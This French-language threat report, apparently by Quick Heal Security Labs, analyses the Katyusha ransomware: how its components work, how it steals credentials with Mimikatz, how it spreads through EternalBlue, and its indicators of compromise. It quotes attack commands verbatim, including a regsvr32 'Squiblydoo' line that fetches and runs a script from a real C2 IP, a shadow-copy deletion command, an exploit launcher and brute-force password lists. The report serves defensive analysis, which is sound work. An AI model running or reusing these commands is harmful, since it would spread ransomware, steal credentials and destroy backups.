Depuis plusieurs mois, Quick Heal Security Labs observe une recrudescence des ransomwares. Nous avons découvert un nouveau ransomware particulièrement dangereux qui chiffre les fichiers en leur ajoutant l'extension « .katyusha » et exige une rançon de 0.5 BTC sous trois jours, menaçant de rendre les données publiques si elle n'est pas payée. Ce malware intègre de nombreux composants, notamment l'exploitation des failles « Double Pulsar » et « Eternal Blue » pour se propager sur le réseau. Il utilise également une technique d'attaque unique appelée « SquiblyDoo » pour se disséminer. Le vecteur d'infection de ce ransomware reste à confirmer, mais son origine pourrait être le phishing ciblé, la publicité malveillante, les spams, l'exploitation de failles SMB, etc.
Analyse technique :
Ce logiciel malveillant est intégré à MPRESS (v2.19) et se trouve sur le système de la victime sous le nom « katyusha.exe » dans le répertoire « %temp% ». Il contient trois composants. À son exécution, il les place dans C:\Windows\Temp et lance leur exécution :
- Svchost0.bat
- Zkts.exe
- Ktsi.exe
Katyusha vérifie les fichiers suivants sur le système pour déterminer si le système est déjà infecté ou non.
« C:\_comment_décrypter_vos_fichiers.txt »
« C:\ProgramData\_comment_décrypter_vos_fichiers.txt »
Si un système est déjà infecté, Katyusha crée un fichier batch (svchost0.bat) contenant le code illustré à la figure 1 pour supprimer l'autocopie et s'arrêter. Si le système n'est pas infecté, il supprime les fichiers zkts.exe et ktsi.exe et les exécute.
Zkts.exe :
Ce fichier est un exécutable compressé 7zip et un composant principal qui contient plusieurs sous-modules tels qu'un module de diffusion réseau, un module de vol de mot de passe, etc.
Lors de l'exécution de zkts.exe, des composants sont extraits du répertoire « C:\Windows\Temp », tels que Mimikatz, katyusha.dll, Eternal Blue Exploit, etc., qui sont ensuite utilisés par Katyusha pour réaliser une activité.
Ktsi.exe (Crypteur) :
Il s'agit d'un autre composant principal, également un fichier compressé MPRESS. Il est principalement utilisé pour chiffrer les fichiers et déposer une demande de rançon sur le système de la victime. Ce processus est lancé indépendamment par la charge utile principale (katyusha.exe), comme illustré à la figure 3.
Lors de l'exécution de ktsi.exe, il tue d'abord la liste des tâches suivantes pour libérer les poignées de fichiers verrouillées par les processus pertinents à crypter (tels que les fichiers de base de données, etc.) comme indiqué dans la Fig 4.
Pour chiffrer efficacement les fichiers liés à la base de données, ktsi supprime les processus liés aux applications de base de données. Voici la liste des processus codés en dur par les logiciels malveillants :
| mysqld.exe | httpd.exe | sqlsevr.exe |
| sqlwriter.exe | w3wp.exe | sqlagent.exe |
| fdhost.exe | fdlauncher.exe | reportingservicesservice.exe |
| omtsreco.exe | tnslsnr.exe | oracle.exe |
| emagent.exe | mysqld-nt.exe |
Après l'opération taskkill, le logiciel malveillant dépose une note de rançon au format html et txt dans le chemin ci-dessous pour la rendre visible pour tous les utilisateurs au démarrage du système,
« C:\ProgramData\Microsoft\Windows\Menu Démarrer\Programmes\Démarrage »
_comment_décrypter_vos_fichiers.txt
_comment_décrypter_vos_fichiers.html
Dans « C:\ProgramData » et à la racine du lecteur C (C:\), déposez uniquement la note de rançon sous le nom « _how_to_decrypt_you_files.txt ».
Ktsi.exe supprime également la copie fantôme en exécutant la commande suivante,
« vssadmin supprimer shadows /all /quiet »
Une fois toutes ces tâches effectuées, ktsi.exe lance le chiffrement du fichier (RSA) à l'aide de la méthode de chiffrement standard de CRYPTOGAMS . Les signatures relatives à cet algorithme se trouvent dans un fichier, comme illustré sur la figure 7.
Il crypte tous les fichiers d'extension sauf le suivant,
Il contient également une liste d'exclusion de fichiers et de dossiers (comme illustré à la figure 9). Si ces mots sont trouvés dans le chemin d'accès au fichier énuméré, ce chemin sera exclu du chiffrement. Pour assurer un chiffrement ininterrompu, la liste contient les noms de quelques produits de sécurité.
Mécanisme de propagation :
Pour la diffusion réseau, les fichiers extraits de ZKT sont essentiels. Veuillez consulter la figure 2 pour les composants extraits.
m32.exe et m64.exe sont des outils Mimikatz utilisés pour récupérer les informations d'identification de Windows lsass.exe.
Tout d'abord, katyusha.exe détermine si le système est 64 bits ou 32 bits à l'aide de l'appel système IsWow64Process (il renvoie une valeur différente de zéro si le système est 64 bits) et exécute Mimikatz en fonction de l'architecture du système.
L'outil Mimikatz dépose les fichiers suivants dans le répertoire « C:\Windows\Temp » en tant que sortie.
– snamelog : contient les noms d’utilisateur récupérés.
– spasslog : contient les mots de passe pour les noms d’utilisateur récupérés respectifs.
Après l'exécution de mimikatz, katyusha.exe lit les noms d'utilisateur de snamelog et les mots de passe de spasslog qui sont utilisés pour effectuer une attaque par force brute sur le réseau.
Zkts.exe supprime également svchostb.exe, svchostb.xml, svchostbs.exe, svchostbs.xml, katyusha.dll et svchostp.exe. Ces composants servent à diffuser Katyusha sur le réseau.
Grâce à l'exploit « Eternal Blue » et à un double pulsar, un logiciel malveillant exécute le fichier katyusha.dll sur les systèmes connectés au réseau de manière séquentielle. Pour exploiter cette vulnérabilité SMB, utilisez la commande suivante :
« C:\windows\temp\&svchostb.exe –TargetIp & svchostbs.exe –OutConfig s –TargetPort 445 –Protocole SMB –Architecture x64 –Fonction RunDLL –DllPayload katyusha.dll –TargetIp "
Katyusha.dll est un fichier de charge utile contenant du code pour exécuter la commande suivante,
"regsvr32 /u /s /i:hxxp://86.106.102.147/img/katyusha.data scrobj.dll"
Nous pouvons également trouver des chaînes de commandes codées en dur dans le fichier comme indiqué dans la Fig 12.
L'exécution de la commande regsvr32 (Microsoft Register Server) ci-dessus téléchargera le script (katyusha.data) depuis l'URL indiquée et appellera le serveur de désenregistrement avec le paramètre regsvr32 (/u). Ceci exécutera le code JavaScript contenu dans la balise <registration> du script téléchargé, comme illustré dans la figure 13. Ce script contient le code permettant de télécharger katyusha.exe depuis l'URL indiquée dans le répertoire « %temp% » et de l'exécuter.
Ce type d’attaque utilisant des commandes regsvr32 pour télécharger des scriptlets depuis le serveur de commande et de contrôle et les exécuter est appelé « squiiblydoo ».
Après cette action, le ransomware procède également à une attaque par force brute sur les systèmes du réseau à l'aide de l'outil Power Admin Tool (svchostp.exe). Cet outil, similaire à PsExec de Sysinternals , permet d'exécuter des processus sur des systèmes distants. Le ransomware possède une liste de noms d'utilisateur et de mots de passe (voir ci-dessous) et utilise également ceux récupérés par Mimikatz (via snamelog et spasslog) pour mener cette attaque.
Noms d'utilisateur :
Admin, administrateur, +contenu de snamelog.
Mots de passe :
admin, 12345, chinachina203, 111, 123456, qwerty, test, abc123, 12345678, 0000, 1122, 1234, +contenu de spasslog.
En force brute, Katyusha utilise la commande suivante,
« C:\Windows\temp\svchostp.exe -u -p -n 10 -s regsvr32 /u /s /i:https://86.106.102.147/img/katyusha.data scrobj.dll »
La commande ci-dessus exécute simplement l'utilitaire regsvr32 avec l'URL comme paramètre pour télécharger la charge utile et exécute l'activité comme expliqué ci-dessus pour katyusha.dll.
CIO :
MD5 : 7f87db33980c0099739de40d1b725500
URL :
- hxxp://86.106.102.147/img/katyusha.data
- hxxp://86.106.102.147/img/katyusha.exe
Adresse du portefeuille Bitcoin : « 3ALmvAWLEothnMF5BjckAFaKB5S6zan9PK »
Conclusion :
Cette année, nous avons constaté une forte augmentation du nombre de rançongiciels. Ces derniers utilisent de nouveaux moyens de propagation et de chiffrement des données. Aujourd'hui, la plupart des rançongiciels sont associés à des exploits et des outils comme Eternal Blue et Mimikatz pour se propager sur le réseau. Nous recommandons aux utilisateurs d'éviter d'accéder à des URL/adresses e-mail suspectes, d'utiliser des identifiants système robustes et de maintenir leur antivirus à jour.
Expert en la matière:
Pratik Pachpor | Laboratoires de sécurité Quick Heal
